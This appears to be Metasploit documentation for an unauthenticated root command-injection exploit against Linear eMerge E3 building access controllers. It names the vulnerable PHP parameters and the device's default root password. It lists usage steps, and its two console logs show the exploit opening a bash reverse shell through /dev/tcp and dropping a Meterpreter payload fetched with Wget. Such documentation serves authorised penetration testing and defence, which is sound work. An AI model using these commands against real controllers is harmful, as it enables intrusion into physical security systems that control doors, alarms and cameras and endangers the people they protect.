## Vulnerable Application

Nortek Security & Control, LLC (NSC) is a leader in wireless security, home automation and personal safety systems and devices.
The eMerge E3-Series is part of Linear’s access control platform, that delivers entry-level access control to buildings.
It is a web based application where the HTTP web interface is typically exposed to the public internet.

The Linear eMerge E3 versions `1.00-06` and below are vulnerable to unauthenticated command injection in card_scan_decoder.php
via the  `No` and `door` HTTP GET parameter. Successful exploitation results in command execution as the root user.

Building automation and access control systems are at the heart of many critical infrastructures, and their security is vital.
Executing attacks on these systems may enable unauthenticated attackers to access and manipulate doors, elevators, air-conditioning systems,
cameras, boilers, lights, safety alarm systems within a building.

This issue affects all Linear eMerge E3-Series with firmware versions up to and including `1.00-06`.

Installing a vulnerable test bed requires a Linear eMerge E3-Series access controller with the vulnerable software loaded.

This module has been tested against a Linear eMerge access controller with the specifications listed below:

* Nortek Linear eMerge E3 Elite access controller
* Firmware: `v1.00-03`

## Verification Steps

1. `use exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256`
1. `set RHOSTS <TARGET HOSTS>`
1. `set RPORT <port>`
1. `set LHOST <attacker host ip>`
1. `set LPORT <attacker host port>`
1. `set TARGET <0-Unix command or 1-Linux Dropper>`
1. `exploit`
1. You should get a `bash` shell or `meterpreter` session depending on the target and payload settings.

## Options
### ROOT_PASSWORD
The password of the `root` user on the target device. Defaults to `davestyle`, which is
the default root password for Linear eMerge E3-Series devices.

## Scenarios

### Nortek Linear eMerge E3 Elite access controller bash reverse shell

```
msf > use exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > options

Module options (exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine
                                       or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


View the full module info with the info, or info -d command.

msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set rhosts 192.168.100.180
rhosts => 192.168.100.180
msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lport 4444
lport => 4444
msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set target 0
target => 0
msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > exploit

[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.180:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 2 seconds.
[*] Elapsed time: 3.16 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Unix Command with bash -c '0<&179-;exec 179<>/dev/tcp/192.168.100.7/4444;sh <&179 >&179 2>&179'
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54274) at 2022-12-01 18:51:54 +0000

uname -a
Linux cuckoo 3.14.54 #1 SMP PREEMPT Thu Dec 6 19:08:58 PST 2018 armv7l GNU/Linux
whoami
root
exit
```

### Nortek Linear eMerge E3 Elite access controller meterpreter session

```
msf > use exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > options

Module options (exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine
                                       or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (linux/armle/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


View the full module info with the info, or info -d command.

msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set rhosts 192.168.100.180
rhosts => 192.168.100.180
msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lport 4444
lport => 4444
msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set target 1
target => 1
msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > exploit

[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.180:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 2 seconds.
[*] Elapsed time: 3.18 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Linux Dropper
[*] Using URL: http://192.168.100.7:8080/n6tUft9RrS
[*] Client 127.0.0.1 (Wget) requested /n6tUft9RrS
[*] Sending payload to 127.0.0.1 (Wget)
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:49448) at 2022-12-01 18:50:26 +0000
[*] Command Stager progress - 100.00% done (125/125 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.100.180
OS           :  (Linux 3.14.54)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter > getuid
Server username: root
```

## Limitations
Due to the limitations of restricted `busybox` command implementation on the Linear eMerge E3 Access Controller, only a
few unix command payloads will work such as `cmd/unix/reverse_bash` or `cmd/unix/reverse` (telnet).

